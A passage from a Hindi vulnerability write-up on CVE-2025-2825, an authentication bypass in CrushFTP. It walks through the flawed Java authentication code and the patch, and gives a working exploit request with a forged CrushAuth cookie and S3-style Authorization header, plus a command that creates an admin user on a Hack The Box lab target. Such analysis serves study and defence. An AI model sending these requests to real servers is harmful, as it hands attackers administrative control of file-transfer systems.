
CVE-2025-2825 के लिए विस्तृत विश्लेषण और PoC एक्सप्लॉइट, जो CrushFTP में एक प्रमाणीकरण बाईपास है। इसमें nuclei टेम्पलेट, मल्टी-थ्रेडेड स्कैनर, और पैठ परीक्षण के लिए उपयोगकर्ता निर्माण स्क्रिप्ट शामिल हैं।
इस दस्तावेज़ में CrushFTP के सर्वर घटक को प्रभावित करने वाली भेद्यता CVE-2025-2825 का शोध प्रस्तुत किया गया है - जो फ़ाइल स्थानांतरण और भंडारण (FTP, SFTP, HTTP/S, S3-जैसे इंटरफ़ेस आदि) के लिए एक वाणिज्यिक समाधान है।
दोष को प्रमाणीकरण बाईपास के रूप में वर्गीकृत किया गया है, जो दूरस्थ अप्रमाणित हमलावर को व्यवस्थापक अधिकार प्राप्त करने की अनुमति देता है। सफल शोषण crushadmin विशेषाधिकारों तक पहुँच, फ़ाइलों को देखने और संशोधित करने, खातों का प्रबंधन करने और CrushFTP वेब इंटरफ़ेस और API के माध्यम से व्यवस्थापकीय संचालन करने की अनुमति देता है।
रिपोर्ट किए गए प्रभावित संस्करण (सार्वजनिक सलाहकार और शोधकर्ताओं की रिपोर्ट के अनुसार):
⚠️ नोट: कुछ प्रकाशनों में CVE पहचानकर्ताओं के डुप्लिकेट और ओवरलैप हैं (जैसे, CVE-2025-31161)।
भेद्यता का चरण-दर-चरण विश्लेषण करना और अनुसंधान का पूरा चक्र प्रदर्शित करना, जिसमें शामिल हैं:
सार्वजनिक रिपोर्टों के अनुसार, भेद्यता का महत्वपूर्ण जोखिम है:
निम्नलिखित संकेतों वाले इंस्टेंस महत्वपूर्ण हैं:
CrushFTP (वेब इंटरफ़ेस वाला कोई भी संस्करण)।CrushFTP S3-जैसे API के लिए समर्थन लागू करता है। प्रमाणीकरण के लिए Authorization हेडर का उपयोग किया जाता है:
Authorization: AWS4-HMAC-SHA256 Credential=<AccessKey>/<Date>/<Region>/s3/aws4_request, SignedHeaders=<Headers>, Signature=<Signature>
सर्वर क्रेडेंशियल से AccessKey निकालता है और हस्ताक्षर सत्यापित करना चाहिए। हालाँकि, कोड में lookup_user_pass फ़्लैग के साथ काम करते समय एक त्रुटि हुई:
// ServerSessionHTTP.java, method loginCheckHeaderAuth()
if (this.headerLookup.containsKey("AUTHORIZATION") &&
this.headerLookup.getProperty("AUTHORIZATION").trim().startsWith("AWS4-HMAC")) {
boolean lookup_user_pass = true; // ← महत्वपूर्ण त्रुटि
if (s3_username3.indexOf("~") >= 0) {
user_pass = user_name.substring(user_name.indexOf("~") + 1);
user_name = user_name.substring(0, user_name.indexOf("~"));
lookup_user_pass = false;
}
if (this.thisSession.login_user_pass(
lookup_user_pass,
false,
user_name,
lookup_user_pass ? "" : user_pass)) {
// सफल प्रमाणीकरण
}
}
फ़्लैग lookup_user_pass सीधे anyPass के रूप में पारित किया जाता है:
if (anyPass && user.getProperty("username").equalsIgnoreCase(the_user)) {
return user; // पासवर्ड सत्यापन के बिना प्रमाणीकरण
}
इस प्रकार:
संस्करण 11.3.1 और उसके बाद में डेवलपर्स ने:
s3_auth_lookup_password_supported (डिफ़ॉल्ट false) जोड़ा, जो कमजोर परिदृश्य को अवरुद्ध करता है।lookup_user_pass → anyPass का प्रतिस्थापन समाप्त हुआ।s3_auth_lookup_password_supported को बंद करके वर्कअराउंड लागू करें।CVE-2025-2825 का शोषण काफी सरल है और जटिल तैयारी की आवश्यकता नहीं है। हमलावर को केवल एक विशेष रूप से तैयार HTTP अनुरोध भेजने की आवश्यकता है जिसमें दो प्रमुख तत्व मौजूद हों:
Authorization हेडर, जिसमें मौजूदा उपयोगकर्ता का सही नाम हो (Credential फ़ील्ड में AccessKey/username)।CrushAuth कुकी अपेक्षित प्रारूप में और URL/अनुरोध बॉडी में c2f पैरामीटर, जिनके मान तार्किक रूप से मेल खाते हों (कुकी प्रारूप सर्वर द्वारा अपेक्षित संरचना के अनुरूप होना चाहिए)।यदि सर्वर कमजोर है (संस्करण रेंज 10.0.0—10.8.3 या 11.0.0—11.3.0 और सुधारात्मक पैच लागू नहीं किया गया है), तो ऐसा संयोजन प्रमाणीकरण हैंडलर को कमजोर पथ पर जाने का कारण बनता है, जहाँ पासवर्ड खोज फ़्लैग (lookup_user_pass) को 'कोई भी पासवर्ड स्वीकार्य' के रूप में व्याख्यायित किया जाता है, और उपयोगकर्ता बिना पासवर्ड सत्यापन के केवल नाम से प्रमाणित हो जाता है।
महत्वपूर्ण नोट:
इस भेद्यता के शोषण के लिए आमतौर पर दो क्रमिक अनुरोध भेजने की आवश्यकता होती है। पहला, तथाकथित 'वार्म-अप' अनुरोध, सर्वर पर कमजोर प्रमाणीकरण प्रक्रिया शुरू करता है। सर्वर के सही स्थिति में प्रवेश करने का विशिष्ट संकेत प्रतिक्रिया में
502 Bad Gatewayत्रुटि प्राप्त करना या बस टाइमआउट होना है। इसके तुरंत बाद दूसरा, मुख्य अनुरोध भेजा जाता है, जो उपयोगी कार्रवाई (जैसे, उपयोगकर्ता बनाना) करता है, जबकि सर्वर हमले के लिए कमजोर स्थिति में होता है।
GET /WebInterface/function/?command=getUserList&serverGroup=MainUsers&c2f=1111 HTTP/1.1
Host: target-server:8080
Cookie: CrushAuth=1743113839553_vD96EZ70ONL6xAd1DAJhXMZYMn1111
Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/
परीक्षण के लिए, मैंने HTB पर हाल ही में जारी लैब—Soulmate ली, जहाँ वास्तव में CrushFTP के शोषण की आवश्यकता है।

इस भेद्यता के कारण, setUserItem कमांड का उपयोग करके एडमिन अधिकारों वाला एक नया उपयोगकर्ता जोड़ा जा सकता है। ऐसा करने के लिए new_user.py चलाएँ:
python3 new_user.py --target_host http://ftp.soulmate.htb/ --port 80 --target_user crushadmin --new_user literide --password literide
Authorization हेडर का पार्सिंग: जब सर्वर S3-जैसे प्रारूप (AWS4-HMAC...) में प्राधिकरण हेडर देखता है, तो वह क्रेडेंशियल फ़ील्ड से क्लाइंट आइडेंटिफ़ायर (AccessKey / username) निकालता है। इस चरण पर, सर्वर को एक स्ट्रिंग मिलती है जिसे वह उपयोगकर्ता नाम मानता है—यह पहचान मान है जिसका उपयोग प्रमाणीकरण तर्क में आगे किया जाता है।
lookup_user_pass फ़्लैग और इसकी भूमिका:
कोड में एक बूलियन फ़्लैग lookup_user_pass है, जो इंगित करना चाहिए कि सत्यापन के दौरान पासवर्ड कहाँ से लेना है: